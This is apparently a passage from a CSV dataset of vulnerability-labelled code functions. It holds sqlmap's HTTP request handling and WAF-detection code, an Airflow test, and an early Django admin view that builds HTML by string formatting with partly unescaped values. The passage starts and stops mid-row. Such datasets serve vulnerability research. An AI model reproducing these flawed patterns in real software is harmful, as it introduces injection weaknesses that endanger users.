                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if getattr(conn, ""redurl"", None) is not None:
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
,UNKNOWN,UNKNOWN,tests/core.py,1,"def test_get_non_existing_var_should_not_deserialize_json_default(self):
        default_value = ""}{ this is a non JSON default }{""
        assert default_value == Variable.get(""thisIdDoesNotExist"",
                                             default_var=default_value,
                                             deserialize_json=True)",CWE-703,apache/airflow,4563df404ca2ec481153c39a1193419331a9507e,"def test_get_non_existing_var_should_not_deserialize_json_default(self):
        default_value = ""}{ this is a non JSON default }{""
        assert default_value == Variable.get(""thisIdDoesNotExist"",
                                             default_var=default_value,
                                             deserialize_json=True)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/asm.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval |= ""The requested URL was rejected. Please consult with your administrator."" in (page or """")
        retval |= all(_ in (page or """") for _ in (""security.f5aas.com"", ""Please enable JavaScript to view the page content""))
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = ""The requested URL was rejected. Please consult with your administrator."" in (page or """")
        retval |= all(_ in (page or """") for _ in (""security.f5aas.com"", ""Please enable JavaScript to view the page content""))
        if retval:
            break

    return retval"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/views/admin/main.py,0,"def change_list(request, app_label, module_name):
    from django.core import paginator
    from django.utils import dateformat
    from django.utils.dates import MONTHS
    from django.utils.html import escape
    import datetime

    # The system will display a ""Show all"" link only if the total result count
    # is less than or equal to this setting.
    MAX_SHOW_ALL_ALLOWED = 200

    DEFAULT_RESULTS_PER_PAGE = 100

    ALL_VAR = 'all'
    ORDER_VAR = 'o'
    ORDER_TYPE_VAR = 'ot'
    PAGE_VAR = 'p'
    SEARCH_VAR = 'q'
    IS_POPUP_VAR = 'pop'

    mod, opts = _get_mod_opts(app_label, module_name)
    if not request.user.has_perm(app_label + '.' + opts.get_change_permission()):
        raise PermissionDenied

    lookup_mod, lookup_opts = mod, opts

    if opts.one_to_one_field:
        lookup_mod = opts.one_to_one_field.rel.to.get_model_module()
        lookup_opts = lookup_mod.Klass._meta
        # If lookup_opts doesn't have admin set, give it the default meta.Admin().
        if not lookup_opts.admin:
            lookup_opts.admin = meta.Admin()

    # Get search parameters from the query string.
    try:
        page_num = int(request.GET.get(PAGE_VAR, 0))
    except ValueError:
        page_num = 0
    show_all = request.GET.has_key(ALL_VAR)
    is_popup = request.GET.has_key(IS_POPUP_VAR)
    params = dict(request.GET.copy())
    if params.has_key(PAGE_VAR):
        del params[PAGE_VAR]
    # For ordering, first check the ""ordering"" parameter in the admin options,
    # then check the object's default ordering. If neither of those exist,
    # order descending by ID by default. Finally, look for manually-specified
    # ordering from the query string.
    ordering = lookup_opts.admin.ordering or lookup_opts.ordering or ['-' + lookup_opts.pk.name]

    # Normalize it to new-style ordering.
    ordering = meta.handle_legacy_orderlist(ordering)

    if ordering[0].startswith('-'):
        order_field, order_type = ordering[0][1:], 'desc'
    else:
        order_field, order_type = ordering[0], 'asc'
    if params.has_key(ORDER_VAR):
        try:
            try:
                f = lookup_opts.get_field(lookup_opts.admin.list_display[int(params[ORDER_VAR])])
            except meta.FieldDoesNotExist:
                pass
            else:
                if not isinstance(f.rel, meta.ManyToOne) or not f.null:
                    order_field = f.name
        except (IndexError, ValueError):
            pass # Invalid ordering specified. Just use the default.
    if params.has_key(ORDER_TYPE_VAR) and params[ORDER_TYPE_VAR] in ('asc', 'desc'):
        order_type = params[ORDER_TYPE_VAR]
    query = request.GET.get(SEARCH_VAR, '')

    # Prepare the lookup parameters for the API lookup.
    lookup_params = params.copy()
    for i in (ALL_VAR, ORDER_VAR, ORDER_TYPE_VAR, SEARCH_VAR, IS_POPUP_VAR):
        if lookup_params.has_key(i):
            del lookup_params[i]
    # If the order-by field is a field with a relationship, order by the value
    # in the related table.
    lookup_order_field = order_field
    if isinstance(lookup_opts.get_field(order_field).rel, meta.ManyToOne):
        f = lookup_opts.get_field(order_field)
        lookup_order_field = '%s.%s' % (f.rel.to.db_table, f.rel.to.ordering[0])
    # Use select_related if one of the list_display options is a field with a
    # relationship.
    for field_name in lookup_opts.admin.list_display:
        try:
            f = lookup_opts.get_field(field_name)
        except meta.FieldDoesNotExist:
            pass
        else:
            if isinstance(f.rel, meta.ManyToOne):
                lookup_params['select_related'] = True
                break
    lookup_params['order_by'] = ((order_type == 'desc' and '-' or '') + lookup_order_field,)
    if lookup_opts.admin.search_fields and query:
        or_queries = []
        for bit in query.split():
            or_query = []
            for field_name in lookup_opts.admin.search_fields:
                or_query.append(('%s__icontains' % field_name, bit))
            or_queries.append(or_query)
        lookup_params['_or'] = or_queries

    if opts.one_to_one_field:
        lookup_params.update(opts.one_to_one_field.rel.limit_choices_to)

    # Get the results.
    try:
        p = paginator.ObjectPaginator(lookup_mod, lookup_params, DEFAULT_RESULTS_PER_PAGE)
    # Naked except! Because we don't have any other way of validating ""params"".
    # They might be invalid if the keyword arguments are incorrect, or if the
    # values are not in the correct type (which would result in a database
    # error).
    except:
        return HttpResponseRedirect(request.path)

    # Get the total number of objects, with no filters applied.
    real_lookup_params = lookup_params.copy()
    del real_lookup_params['order_by']
    if real_lookup_params:
        full_result_count = lookup_mod.get_count()
    else:
        full_result_count = p.hits
    del real_lookup_params
    result_count = p.hits
    can_show_all = result_count <= MAX_SHOW_ALL_ALLOWED
    multi_page = result_count > DEFAULT_RESULTS_PER_PAGE

    # Get the list of objects to display on this page.
    if (show_all and can_show_all) or not multi_page:
        result_list = lookup_mod.get_list(**lookup_params)
    else:
        try:
            result_list = p.get_page(page_num)
        except paginator.InvalidPage:
            result_list = []

    # Calculate filters first, because a CSS class high in the document depends
    # on whether they are available.
    filter_template = []
    if lookup_opts.admin.list_filter and not opts.one_to_one_field:
        filter_fields = [lookup_opts.get_field(field_name) for field_name in lookup_opts.admin.list_filter]
        for f in filter_fields:
            # Many-to-many or many-to-one filter.
            if f.rel:
                if isinstance(f, meta.ManyToManyField):
                    lookup_title = f.rel.to.verbose_name
                else:
                    lookup_title = f.verbose_name
                lookup_kwarg = '%s__id__exact' % f.name
                lookup_val = request.GET.get(lookup_kwarg, None)
                lookup_choices = f.rel.to.get_model_module().get_list()
                if len(lookup_choices) > 1:
                    filter_template.append('<h3>By %s:</h3>\n<ul>\n' % lookup_title)
                    filter_template.append('<li%s><a href=""%s"">All</a></li>\n' % \
                        ((lookup_val is None and ' class=""selected""' or ''),
                        get_query_string(params, {}, [lookup_kwarg])))
                    for val in lookup_choices:
                        filter_template.append('<li%s><a href=""%s"">%r</a></li>\n' % \
                            ((lookup_val == str(val.id) and ' class=""selected""' or ''),
                            get_query_string(params, {lookup_kwarg: val.id}), val))
                    filter_template.append('</ul>\n\n')
            # Field with choices.
            elif f.choices:
                lookup_kwarg = '%s__exact' % f.name
                lookup_val = request.GET.get(lookup_kwarg, None)
                filter_template.append('<h3>By %s:</h3><ul>\n' % f.verbose_name)
                filter_template.append('<li%s><a href=""%s"">All</a></li>\n' % \
                    ((lookup_val is None and ' class=""selected""' or ''),
                    get_query_string(params, {}, [lookup_kwarg])))
                for k, v in f.choices:
                    filter_template.append('<li%s><a href=""%s"">%s</a></li>' % \
                        ((str(k) == lookup_val) and ' class=""selected""' or '',
                        get_query_string(params, {lookup_kwarg: k}), v))
                filter_template.append('</ul>\n\n')
            # Date filter.
            elif isinstance(f, meta.DateField):
                today = datetime.date.today()
                one_week_ago = today - datetime.timedelta(days=7)
                field_generic = '%s__' % f.name
                filter_template.append('<h3>By %s:</h3><ul>\n' % f.verbose_name)
                date_params = dict([(k, v) for k, v in params.items() if k.startswith(field_generic)])
                today_str = isinstance(f, meta.DateTimeField) and today.strftime('%Y-%m-%d 23:59:59') or today.strftime('%Y-%m-%d')
                for title, param_dict in (
                    ('Any date', {}),
                    ('Today', {'%s__year' % f.name: str(today.year), '%s__month' % f.name: str(today.month), '%s__day' % f.name: str(today.day)}),
                    ('Past 7 days', {'%s__gte' % f.name: one_week_ago.strftime('%Y-%m-%d'), '%s__lte' % f.name: today_str}),
                    ('This month', {'%s__year' % f.name: str(today.year), '%s__month' % f.name: str(today.month)}),
                    ('This year', {'%s__year' % f.name: str(today.year)})
                ):
                    filter_template.append('<li%s><a href=""%s"">%s</a></li>\n' % \
                        ((date_params == param_dict) and ' class=""selected""' or '',
                        get_query_string(params, param_dict, field_generic), title))
                filter_template.append('</ul>\n\n')
            elif isinstance(f, meta.BooleanField) or isinstance(f, meta.NullBooleanField):
                lookup_kwarg = '%s__exact' % f.name
                lookup_kwarg2 = '%s__isnull' % f.name
                lookup_val = request.GET.get(lookup_kwarg, None)
                lookup_val2 = request.GET.get(lookup_kwarg2, None)
                filter_template.append('<h3>By %s:</h3><ul>\n' % f.verbose_name)
                for k, v in (('All', None), ('Yes', 'True'), ('No', 'False')):
                    filter_template.append('<li%s><a href=""%s"">%s</a></li>\n' % \
                        (((lookup_val == v and not lookup_val2) and ' class=""selected""' or ''),
                        get_query_string(params, {lookup_kwarg: v}, [lookup_kwarg2]), k))
                if isinstance(f, meta.NullBooleanField):
                    filter_template.append('<li%s><a href=""%s"">%s</a></li>\n' % \
                        (((lookup_val2 == 'True') and ' class=""selected""' or ''),
                        get_query_string(params, {lookup_kwarg2: 'True'}, [lookup_kwarg]), 'Unknown'))
                filter_template.append('</ul>\n\n')
            else:
                pass # Invalid argument to ""list_filter""

    raw_template = ['{% extends ""base_site"" %}\n']
    raw_template.append('{% block bodyclass %}change-list{% endblock %}\n')
    if not is_popup:
        raw_template.append('{%% block breadcrumbs %%}<div class=""breadcrumbs""><a href=""../../"">Home</a> &rsaquo; %s</div>{%% endblock %%}\n' % capfirst(opts.verbose_name_plural))
    raw_template.append('{% block coltype %}flex{% endblock %}')
    raw_template.append('{% block content %}\n')
    raw_template.append('<div id=""content-main"">\n')
    if request.user.has_perm(app_label + '.' + lookup_opts.get_add_permission()):
        raw_template.append('<ul class=""object-tools""><li><a href=""add/%s"" class=""addlink"">Add %s</a></li></ul>\n' % ((is_popup and '?_popup=1' or ''), opts.verbose_name))
    raw_template.append('<div class=""module%s"" id=""changelist"">\n' % (filter_template and ' filtered' or ''))

    # Search form.
    if lookup_opts.admin.search_fields:
        raw_template.append('<div id=""toolbar"">\n<form id=""changelist-search"" action="""" method=""get"">\n')
        raw_template.append('<label><img src=""%simg/admin/icon_searchbox.png"" /></label> ' % ADMIN_MEDIA_PREFIX)
        raw_template.append('<input type=""text"" size=""40"" name=""%s"" value=""%s"" id=""searchbar"" /> ' % \
            (SEARCH_VAR, escape(query)))
        raw_template.append('<input type=""submit"" value=""Go"" /> ')
        if result_count != full_result_count and not opts.one_to_one_field:
            raw_template.append('<span class=""small quiet"">%s result%s (<a href=""?"">%s total</a>)</span>' % \
                (result_count, (result_count != 1 and 's' or ''), full_result_count))
        for k, v in params.items():
            if k != SEARCH_VAR:
                raw_template.append('<input type=""hidden"" name=""%s"" value=""%s"" />' % (escape(k), escape(v)))
        raw_template.append('</form></div>\n')
        raw_template.append('<script type=""text/javascript"">document.getElementById(""searchbar"").focus();</script>')

    # Date-based navigation.
    if lookup_opts.admin.date_hierarchy:
        field_name = lookup_opts.admin.date_hierarchy

        year_field = '%s__year' % field_name
        month_field = '%s__month' % field_name
        day_field = '%s__day' % field_name
        field_generic = '%s__' % field_name
        year_lookup = params.get(year_field)
        month_lookup = params.get(month_field)
        day_lookup = params.get(day_field)

        raw_template.append('<div class=""xfull"">\n<ul class=""toplinks"">\n')
        if year_lookup and month_lookup and day_lookup:
            raw_template.append('<li class=""date-back""><a href=""%s"">&lsaquo; %s %s </a></li>' % \
                (get_query_string(params, {year_field: year_lookup, month_field: month_lookup}, [field_generic]), MONTHS[int(month_lookup)], year_lookup))
            raw_template.append('<li>%s %s</li>' % (MONTHS[int(month_lookup)], day_lookup))
        elif year_lookup and month_lookup:
            raw_template.append('<li class=""date-back""><a href=""%s"">&lsaquo; %s</a></li>' % \
